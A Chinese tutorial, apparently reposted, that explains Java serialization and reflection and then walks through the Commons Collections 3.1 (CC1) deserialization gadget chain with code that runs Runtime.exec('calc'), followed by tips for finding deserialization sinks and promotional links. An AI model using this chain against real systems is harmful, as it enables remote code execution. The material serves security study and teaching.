详解Java反序列化漏洞

0×01:序列化基本概念

  • 序列化:将对象写入IO流中
  • 反序列化:从IO流中恢复对象
  • 意义:序列化机制允许将实现序列化的Java对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,以达到以后恢复成原来的对象。序列化机制使得对象可以脱离程序的运行而独立存在。

 

0×02:Java中的反射机制

1.反射机制的作用: 通过java语言中的反射机制可以操作字节码文件(可以读和修改字节码文件)

2. 反射机制的相关类在哪个包下java.lang.reflect.*;

3. 反射机制的相关类有哪些:

java.lang.Class 代表字节码文件,代表整个类

java.lang.reflect.Method 代表字节码中的方法字节码,代表类中的方法
java.lang.reflect.Constructor 代表字节码中的构造方法字节码,代表类中的构造方法java.lang.reflect.Field 代表字节码中的属性字节码,代表类中的属性。

我们先看最主要的部分——执行系统命令

public class N0Tai1{public static void main(String[] args) throws Exception{
} }
Runtime calc = Runtime.getRuntime(); calc.exec("calc"); //Runtime.getRuntime().calc.exec("calc")

相应的反射代码如下:

public class N0Tai1{public static void main(String[] args) throws Exception{
} }
Class c = Class.forName("java.lang.Runtime"); //c代表Runtime.class字节码文件,c代表Runtime类型
Object obj = c.getMethod("getRuntime", null).invoke(c,null);
/*
* 通过getMethod对getRuntime这个方法进行实例化
* getRuntime并不需要传参,所以传参类型为null,后面的invoke实现getRuntime
* */
String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
/*
* getMethod对exec这个方法进行实例化
* exec需要传一个String类型的字符串或者String类型的数组,然后invoke实现exec方法 * */

0×03:序列化的实现方式

序列化概述

如果需要将某个对象保存到磁盘上或者通过网络传输,那么这个类应该实现 Serializable 接口或者Externalizable接口之一。

使用到JDK中关键类 :

ObjectOutputStream (对象输出流) 和 ObjectInputStream (对象输入流)ObjectOutputStream 类中:通过使用 writeObject (Object object) 方法,将对象以二进制格式进行写入。

ObjectInputStream类中:

通过使用 readObject() 方法,从输入流中读取二进制流,转换成对象。

Transient关键字序列化的时候不会序列化Transient关键字修饰的变量,这个关键字不能修饰类和方法Static

静态变量也不会被序列化

serialVersionUID

这里是指序列化的版本号,版本不一致会导致抛出错误,并且拒绝载入序列化与反序列化样例:

//Person.java
package com.n0tai1.java.serialize;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream; import com.n0tai1.java.serialize.Student;
public class Person{public static void main(String[] args) throws IOException {
Student s = new Student(19,"ZAAAA"); System.out.println(s.Students()); System.out.println(s.toString()); ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\\project\\Java\\JavaSePro\\src\\flag.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}
//Student.java
package com.n0tai1.java.serialize;
import java.io.Serializable;
public class Student implements Serializable {private static final long serialVersionUID = 5407396955208161433L;private int age;private transient String name;public Student(int age, String name){
this.age = age;
this.name = name; }
public String Students(){
return "姓名: "+ this.name + " 年龄: " + this.age;
}
@Override
public String toString() {
return "姓名: "+ this.name + " 年龄: " + this.age;
} }
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.Student;
public class unserialize{public static void main(String[] args) throws IOException,
ClassNotFoundException 
{ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\\project\\Java\\JavaSePro\\src\\flag.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}
现在已经知道如何序列化和反序列化了,我们把刚刚写的弹计算器代码序列化处理一下package com.n0tai1.java.serialize;
import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Serializable{public static void main(String[] args) throws Exception {
ExecTest s = new ExecTest();
s.ExecTest();
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\\project\\Java\\JavaSePro\\src\\serialize.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}private transient String name;public Student(int age, String name){
this.age = age;
this.name = name; }
public String Students(){
return "姓名: "+ this.name + " 年龄: " + this.age;
}
@Override
public String toString() {
return "姓名: "+ this.name + " 年龄: " + this.age;
} }
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.Student;
public class unserialize{public static void main(String[] args) throws IOException,
ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\\project\\Java\\JavaSePro\\src\\flag.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}

现在已经知道如何序列化和反序列化了,我们把刚刚写的弹计算器代码序列化处理一下

package com.n0tai1.java.serialize;
import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Serializable{public static void main(String[] args) throws Exception {
ExecTest s = new ExecTest();
s.ExecTest();
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\\project\\Java\\JavaSePro\\src\\serialize.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}
package com.n0tai1.java.serialize;
import java.io.Serializable;
public class ExecTest implements Serializable {public void ExecTest() throws Exception{
} }
Class c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime", null).invoke(null); String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.ExecTest;
public class unserialize{public static void main(String[] args) throws IOException,
ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\\project\\Java\\JavaSePro\\src\\serialize.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}

但是这样测试后发现,反序列操作后,不能弹出计算器吗,因为Runtime类并没有实现 Serializable接口

commons-collections3.1源码分析

漏洞组件:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

参考链接:https://security.tencent.com/index.php/blog/msg/97

我们直接入正题

v2-d9ddc2d8f42c8d194a39fd40e6884fdd_720w.png

我们可以通过

Map tansformedMap = TransformedMap.decorate(map,keyTransformer,valueTransformer)

来获得一个TransformedMap类的实例进而调用到TransformedMap的构造方法

v2-5c4e4520fdbb54759d17afe4de6deee4_720w.png

这里会调用到super(map),会调用到基类的有参构造

v2-c88f267b3e37b715536ffbc99889bd3e_720w.png

继续调用基类有参构造

v2-0d06f36589fc5341c00a084455345d78_720w.png

TransformedMap.decorate会对map类的数据结构进行转化

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法

我们看今天的第一个主角ChainedTransformer.class,我们可以创建一个Transformer类型的数组,构造出ChainedTransformer,当触发的时候ChainedTransformer可以将闲散的数据组合

v2-4b6d0fbe75748f5e6f9737bd3b27cd4f_720w.png

我们看今天的第二个主角InvokerTransformer.class,我们可以给创建一个Transformer类型的数组, 然后对InvokerTransformer进行实例化

v2-15a5fac9a825450cfa39892c2e67ae23_720w.png

可以看到:

InvokerTransformer的transform中出现了 getMethod().invoke() 这种形式的代码,我们 如果可以控制传参,就可以RCE

那我们如何调用到InvokerTransformer和ChainedTransformer的transform呢?

这里我们需要用到:

AbstractInputCheckedMapDecorator下MapEntry下的setValue

v2-af406670b86f66107ba9d9125e066a97_720w.png

v2-679ac7a27890509b04e1f937513c48be_720w.png

v2-076513329320bbdeceb61c77d76fc317_720w.png

只要让iTransformers[i]为InvokerTransformer这个类的对象就可以调用到InvokerTransformer的transform

那我们如何触发呢? 在进行反序列化的时候我们会调用ObjectInputStream类的readObject()方法,如果反序列化类被重写

readObject(),那在反序列化的时候Java会优先调用重写的readObject()方法,这样就有了入口点

Payload分析

正文之前,在这之前说下我对getMethod和invoke这两个方法的理解

getMethod

返回一个Method对象,getMethod获取的是某个类下的某个方法,第一个参数是方法名,第二个参数 要看这个方法需要什么参数,如果需要字符串,那我们就写String.class,如果不需要传参,则用null即可

invoke

调用包装在当前Method对象中的方法 ,第一个参数是obj,也就是实例化的对象,第二个参数是方法(这里的方法是指getMethod第一个参数对应的方法)需要的参数

分析

我们直接拿ysoserial中的cc1的链子来对照着写一个(这里的代码借鉴了一位大佬的...但是网址忘记了....)

import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer; import java.util.HashMap;
import java.util.Map;
public class test{public static void main(String[] args){
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new
Object[] { "calc" }) };Transformer transformerChain = new ChainedTransformer(transformers);
} }
Map innermap = new HashMap();
innermap.put("name", "hello");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next(); elEntry.setValue("hahah");

我们直接IDEA拉出来打个断点开始疯狂debug

v2-ea76e42026f7bbf76edfc9e7d9155309_720w.png

先跟这个实例化对象,看看发生了什么大事件

new ConstantTransformer()部分

v2-57b44397322e60d40d2fb2718fbf1d61_720w.png

这里传进来一个Runtime.class字节码文件,然后赋值给了被private和final修饰的iConstant变量,我们看一下这个变量

v2-2404512fe2b60521ba317d13bb69b79f_720w.png

new InvokerTransformer()部分

继续往下跟,跟到InvokerTranformer类的构造方法

v2-54445ce96e4c736e8a0095d1df72fcd9_720w.png

v2-beffcffdfdb93859fbb1f620d858fea0_720w.png

第一个参数是getMethod的作用是获取对象的方法

第二个参数是两个字节码文件String.class和Class.class

第三个参数是Runtime.class下的静态方法

v2-fb32071a5bbdf2da01df9a5fb822b5fd_720w.png

继续往下debug,依然是InvokerTransformer

v2-cee0582a1086ac26308c6bd50d4d835d_720w.png

第一个参数是invoke的作用是让这个方法执行

第二个参数是两个字节码文件Object.class和Object.class

第三个参数是一个Object类型的数组,为空

v2-9a2ce4ba830de6b527d219a01b6c78c3_720w.png

继续往下跟

v2-d21ace7fde8721b8aa52d779feb6477f_720w.png

第一个参数是exec的作用是执行系统命令,这个方法是Runtime.class下的

第二个参数是字节码文件String.class

第三个参数是Object类型的数组,里面只有一个元素calc(这里就是调用的地方)

new ChainedTransformer部分

v2-406271900248f23cb81b1499c10b79ad_720w.png

这里把这个有四个对象的数组传入了ChainedTransformer中的有参构造方法处理

v2-263647288f90b2b39baee1b4b39cbb4c_720w.png

赋值给了iTransformers

new HashMap()部分

v2-8fae5c9ae1abc456c05b1b2618f8b6b8_720w.png

这里定义了一个底层为哈希表的数组,然后用put方法添加了key和value

TransformedMap.decorate静态方法部分

v2-4630cf82dcb5dba9430c36a28baadb91_720w.png

在返回值中new了一个TransformedMap,调用了自身的有参构造方法

第一个参数接受的是我们put方法写入map数组的key和value

第二个参数接受的是null

第三个参数接受的是transformerChain,也就是4个对象组成的数组

v2-77a09db0b931a335a3c802758fa53b07_720w.png

调用了父类的构造方法,并且传了一个map

v2-b02259eeefce68ae987a655fa57cf9da_720w.png

继续调用父类的构造方法,仍传的是map

v2-8e0d24d8d1b3ffc68d5e9651f4150eb8_720w.png

继续往下

v2-4c953e4e925bf88f6f8c62bb15765e67_720w.png

Map.Entry学习和详解

将output这个map类型的数组强转到Map.Entry类型的数组中,并且用next获取一组key和value

然后后面调用setValue

v2-a0162c40dbe5d7469ca7fc3bed692dce_720w.png

调用了checkSetValue

v2-4fcdcab2a636713a03097618f909dbd5_720w.png

调用transform

v2-34e8d458d3e0c8e75a4dc491f12e4e42_720w.png

这里的就开始遍历我们之前写入的4个实例化对象,我们来看最终触发漏洞的关键地方

第一次遍历

v2-a7a9c57d69874397b4422e5e2a11d892_720w.png

返回的是Runtime.class

第二次遍历

v2-3a5db73904f4a87dd8000d274b028721_720w.png

给cls了一个Runtime.class字节码文件,cls现在是Runtime类型,然后getMethod获得一个方法对象, 方法名为getMethod,指定的传参类型为String和Object,之后调用invoke实现了getMethod方法并且传参是getRuntime

Class cls = Class.forName("java.lang.Runtime")
Method method = cls.getMethod("getMethod",new Class[] { String.class, Class[].class }).invoke(cls,"getRuntime");
//等价于
cls.getMethod("getRuntime",null).invoke(cls.null);
//等价于
cls.getMethod("getRuntime",null);

第三次遍历

v2-4e67401388679ac6c8529e79d6c9b43e_720w.png

getMethod获得一个方法对象,方法名为invoke,指定的传参类型为Object,然后调用invoke方法实现了invoke方法,传参为null

cls.getMethod("invoke",new Class[] { Object.class, Object[].class }).invoke(cls,null);
//等价于
cls.invoke(null,null);

第四次遍历

v2-13f89ddf460ac26a49aa9dfc1aaf9f8f_720w.png

getMethod获得一个方法对象,方法名为exec,指定传参类型为String,然后通过invoke方法实现了exec方法,传参为calc

cls.getMethod("exec",new Class[] { String.class }).invoke(cls,'calc');//等价于
cls.exec("calc");

总结一下思路:

InvokerTransformer为漏洞触发处ChianedTransformer为一个容器,作用是帮我们把InvokerTransformer组成一个有序的数组,让其有序遍历

Transformer为一个接口类,这里写法单纯是多态而已....

1.利用setValue触发
AbstractInputCheckedMapDecorator下的setValue进而触发InvokerTransformer的transform这个漏洞触发点

2.第二次遍历生成的相当于一个未执行的Runtime.getRuntime(),第三次遍历相当于将Runtime.getRuntime()执行,第四次循环调用了runtime下的方法exec

0×04:如何发现Java反序列化漏洞

  • 白盒

可以检索源码中对反序列化函数的调用,例如:

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

确定输入点后,检查class path中是否有危险库,例如上文分析的Apache Commons Collections,若有危险库直接用ysoserial梭

弱无危险库,则检查是否有涉及代码执行的部分,查看是否有代码编写上的bug

  • 黑盒

我们可以通过抓包这种手段来检测是否有可控输入点,序列化数据通常以ACED开头,之后两个字节为版本号,一般情况是0005,某些情况下可能是更高的数字

如果不确定字符串是否为序列化数据,我们可以利用大牛写好的工具SerializationDumper来进行检测,用法如下:

java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400 124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e65 72616c207374616666740009e59198e5b7a5e794b2

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/339914.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++多线程同步

C使用多线程必须包含头文件 #include <thread> 来实现 当多个线程同事访问一个对象的时候&#xff0c;会产生数据竞争现象。 这个时候&#xff0c;就可以加锁&#xff0c;同步资源&#xff0c;解决数据竞争。 最简单就是互斥锁mutex 上代码&#xff0c;计算一个数自增到1…

python常见数据分析函数

apply DataFrame.apply(func, axis0, broadcastFalse, rawFalse, reduceNone, args(), **kwds) 第一个参数是函数 可以在Series或DataFrame上执行一个函数 支持对行、列或单个值进行处理 import numpy as np import pandas as pdf lambda x: x.max()-x.min()df pd.DataFrame(…

韩顺平0基础学java——第15天

p303-326 重写override 和重载做个对比 注&#xff1a;但子类可以扩大范围&#xff0c;比如父类是protected&#xff0c;子类可以是public 多态 方法或对象具有多种形态&#xff0c;是面向对象的第三大特征&#xff0c;多态是建立在封装和继承基础之上的。 多态的具体体现…

【JavaEE】Servlet

文章目录 一、Servlet 是什么二、如何创建Servlet程序1、创建项目2、引入依赖3、创建目录4、编写代码5、打包程序6、部署程序7、验证程序 一、Servlet 是什么 二、如何创建Servlet程序 1、创建项目 2、引入依赖 Maven 项目创建完后&#xff0c;会自动生成一个 pom.xml 的文…

Spi Pwm Tim 对比分析

spi SPI时序图 (spi是主从机 所以主机需要从机数据 需要主极先喊从机 把从机喊答应了 才能开始读从机的数据&#xff09; cpol时钟极性 和cpha时钟相位分析 1.cpha为高&#xff0c;cpol为高&#xff0c;则偶数上升沿有效 2.cpha为高&#xff0c;cpol为低&#xff0c;则偶数…

山东军博会—2024年智能装备和通信技术展:见证类脑视觉芯片如何重塑未来

随着人工智能技术的飞速发展&#xff0c;类脑计算成为了科研领域的一个热点。最近&#xff0c;我国科学家成功研发出世界首款类脑互补视觉芯片&#xff0c;这一重大突破不仅标志着我国在人工智能硬件领域迈出了重要一步&#xff0c;也为未来的智能设备带来了无限可能。本文将从…

【轻触按键】终篇 -- 纯硬 VS 复合

1、选型 2、开关机电路–填坑1 3、开关机电路–填坑1.a 4、开关机电路–复合芯片解决方案 填坑2 总结 上述几篇&#xff0c;基本上都是比较靠谱的硬件方案&#xff1b; ①所有开关均关闭&#xff1b; X1灯亮&#xff1b;P-MOS 管Q1关断&#xff1b; 特别注意&#xff0c;…

代码界的奥斯卡:SpringBoot测试的艺术与科学

探索SpringBoot测试的神秘世界&#xff0c;揭秘如何成为代码质量的守护神&#xff01;从基础环境搭建到高级集成测试&#xff0c;本系列教程带你一步步构建坚不可摧的测试防线。深入JUnit 5的强大功能&#xff0c;学习如何用MockMvc和Testcontainers打造逼真的测试场景。准备好…

小型企业网络组网与配置仿真实验

实验要求如下: 我这里以学号46为例 一、IP 地址规划表 &#xff08;一&#xff09;主类网络 &#xff08;二&#xff09;子网划分 需要自己计算有效ip范围 在C类主网络192.168.46.0/24中&#xff0c;我们需要先了解这个网络的子网掩码为255.255.255.0&#xff0c;其二进制…

MOS管开关电路简单笔记

没错&#xff0c;这一篇还是备忘录&#xff0c;复杂的东西一律不讨论。主要讨论增强型的PMOS与NMOS。 PMOS 首先上场的是PMOS,它的导通条件&#xff1a;Vg-Vs<0且|Vg-Vs|>Vgsth&#xff0c;PMOS的电流流向是S->D,D端接负载&#xff0c;S端接受控电源。MOS管一般无法…

LeetCode:环形链表II

文章收录于LeetCode专栏 LeetCode地址 环形链表II 题目 给定一个链表&#xff0c;返回链表开始入环的第一个节点。如果链表无环&#xff0c;则返回null。   为了表示给定链表中的环&#xff0c;我们使用整数pos来表示链表尾连接到链表中的位置&#xff08;索引从0开始&#…

三十五、openlayers官网示例Dynamic Data——在地图上加载动态数据形成动画效果

官网demo地址&#xff1a; Dynamic Data 初始化地图 const tileLayer new TileLayer({source: new OSM(),});const map new Map({layers: [tileLayer],target: "map",view: new View({center: [0, 0],zoom: 2,}),}); 创建了三个样式 const imageStyle new Style(…

WIFI 万[néng]钥匙 v5.0.10/v4.9.80 SVIP版!

WiFi Master Key v5.0.10/v4.9.80 WIFI万[Nng]钥匙APP是一款专业的网络连接工具&#xff0c;设计宗旨在于为用户提供方便快捷的WiFi接入方案。本应用集成了覆盖全国的大量免费WiFi热点信息&#xff0c;确保用户能够在不同地区快速而稳定地连接到互联网。此外&#xff0c;该应用…

HackTheBox-Machines--Sense

Popcorn 测试过程 1 信息收集 服务器开启80、443端口 80端口 访问 80 跳转到 443 – https://10.129.196.51/ &#xff0c;该页面是 pfSense 登录界面&#xff0c;默认密码是&#xff1a; admin/pfSense&#xff0c;使用默认账号密码登录失败 目录扫描 ./gobuster dir -u htt…

【TB作品】MSP430F149单片机,广告牌,滚动显示

LCD1602滚动显示切换播放暂停字符串 显示Public Places 显示No Smoking 播放 暂停 部分代码 char zifu1[] "Public Places "; char zifu2[] "Class Now "; char zifu3[] "No admittance "; char *zifu[] { zifu1, zifu2, zifu3 }…

【Qt秘籍】[006]-Label实现Hello World程序-编程第一步

"Hello,World!" 中文意思是“你好&#xff0c;世界”。 因为 The C Programming Language 中使用它做为第一个演示程序&#xff0c;后来很多程序员在学习编程或进行设备调试时延续了这一习惯。 下面&#xff0c;我们也将演示利用Label显示Qt中的"Hello World!&q…

颠覆传统:探索Web3对传统计算机模式的冲击

随着Web3技术的崛起&#xff0c;传统计算机模式正面临着前所未有的冲击与挑战。Web3作为下一代互联网的代表&#xff0c;以其去中心化、安全可信的特性&#xff0c;正在颠覆着传统计算机模式的种种假设和局限性。本文将深入探讨Web3对传统计算机模式的冲击&#xff0c;并探索其…

imx6ull - 制作烧录SD卡

1、参考NXP官方的手册《i.MX_Linux_Users_Guide.pdf》的这一章节&#xff1a; 1、SD卡分区 提示&#xff1a;我们常用的SD卡一个扇区的大小是512字节。 先说一下i.MX6ULL使用SD卡启动时的分区情况&#xff0c;NXP官方给的镜像布局结构如下所示&#xff1a; 可以看到&#xff0c…

lua vm 二: 查看字节码、看懂字节码

本文讲一讲如何查看 lua 的字节码&#xff08;bytecode&#xff09;&#xff0c;以及如何看懂字节码。 以下分析基于 lua-5.4.6&#xff0c;下载地址&#xff1a;https://lua.org/ftp/ 。 1. 查看字节码 1.1 方法一&#xff1a;使用 luac luac 是 lua 自带的编译程序&#x…

SaaS 电商设计 (十一) 那些高并发电商系统的限流方案设计

目录 一.什么是限流二.怎么做限流呢2.1 有哪些常见的系统限流算法2.1.1 固定窗口2.1.1 滑动窗口2.1.2 令牌桶2.1.3 漏桶算法 2.2 常见的限流方式2.2.1 单机限流&集群限流2.2.2 前置限流&后置限流 2.3 实际落地是怎么做的2.3.1 流量链路2.3.2 各链路限流2.3.2.1 网关层2…